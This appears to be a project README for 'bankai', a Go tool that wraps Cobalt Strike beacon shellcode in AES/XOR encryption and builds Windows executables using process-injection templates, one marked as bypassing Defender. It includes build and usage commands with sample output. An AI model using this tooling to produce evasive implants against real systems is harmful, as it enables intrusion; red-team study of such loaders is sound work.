Another Go shellcode loader designed to work with Cobalt Strike raw binary payload.

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Another Go shellcode loader designed to work with Cobalt Strike raw binary payload. I created this project to mainly educate myself learning Go and directly executing shellcode into the target Windows system using various techniques.

Encryption - I implemented a simple payload encryption process (IV --> AES --> XOR --> Base64) that I learned while studying for SLAE32. This is mainly for protecting Cobalt Strike payload when it's moved over to the target host. The final compiled payload will include a decrypt function within.

Templates - Templates are the skeleton scripts to generate a final payload per each technique.


git clone
GO111MODULE=off go build bankai.go

Usage & Example

Generate a Cobalt Strike payload:

./bankai -h                       

     _                 _         _ 
    | |               | |       (_)
    | |__   __ _ _ __ | | ____ _ _ 
    | '_ \ / _' | '_ \| |/ / _' | |
    | |_) | (_| | | | |   < (_| | |
    |_.__/ \__,_|_| |_|_|\_\__,_|_|

    [INFO] Another Go Shellcode Loader

    -i            Binary File (e.g., beacon.bin)
    -o            Payload Output (e.g, payload.exe)
    -t            Payload Template (e.g., win32_VirtualProtect.tmpl)
    -a            Arch (32|64)
    -h            Print this help menu
    -p            PID

    Templates:                                        Last update: 06/07/21
    | Techniques                           | PID       | Bypass Defender  |
    | win32_VirtualProtect.tmpl            |           |        No        |
    | win64_CreateFiber.tmpl               |           |        No        |
    | win64_CreateRemoteThreadNative.tmpl  | Required  |        Yes       | 
    | win64_CreateThread.tmpl              |           |        No        | 
    | win64_EtwpCreateEtwThread.tmpl       |           |        No        | 
    | win64_Syscall.tmpl                   |           |        No        | 
    | win64_CreateThreadpoolWait.tmpl      |           |        No        | 
    | win64_EnumerateLoadedModules.tmpl    |           |        No        | 
    | win64_EnumChildWindows.tmpl          |           |        No        | 
    | win64_CreateRemoteThread.tmpl        | Required  |        No        | 
    | win64_RtlCreateUserThread.tmpl       | Required  |        No        | 
    | win64_CreateThreadNative.tmpl        |           |        No        | 


    ./bankai -i beacon.bin -o payload.exe -t win64_CreateThread.tmpl -a 64
    [INFO] Key: SymE9GQBtyHL4IAq5Pm6r3b8I7PJB9l0
    [INFO] AES encrpyting the payload...
    [INFO] Arch: x64 (64-bit)
    [INFO] Template: win64_CreateThread.tmpl
    [INFO] InputFile: beacon.bin
    [INFO] OutputFile: payload.exe

    ./bankai -i beacon64.bin -o payload.exe -t win64_CreateRemoteThread.tmpl -a 64 -p 7720
    [INFO] Key: 3mOL2Ne5XIW4xCieiR7cPmHtw4o737Do
    [INFO] AES encrpyting the payload...
    [INFO] Arch: x64 (64-bit)
    [INFO] Template: win64_CreateRemoteThread.tmpl
    [INFO] InputFile: beacon64.bin
    [INFO] OutputFile: payload.exe

Credits / Acknowledgments / References

All of the work is inspired and done by the following researchers/projects:


  • Add more shellcode injection technique templates
  • Add AlternativeShellcodeExec techniques that Ali and Alfaro found
  • Test these shellcodes with modified malleableC2 profiles

Change Log

  • Added win64_CreateThreadpoolWait.tmpl
  • Added win64_EnumerateLoadedModules.tmpl
  • Added win64_EnumChildWindows.tmpl
  • Updated some error handling
  • Added win64_EnumPageFilesW.tmpl
  • Added win64_CreateRemoteThread.tmpl
  • Added win64_RtlCreateUserThread.tmpl
  • Added win64_CreateThreadNative.tmpl
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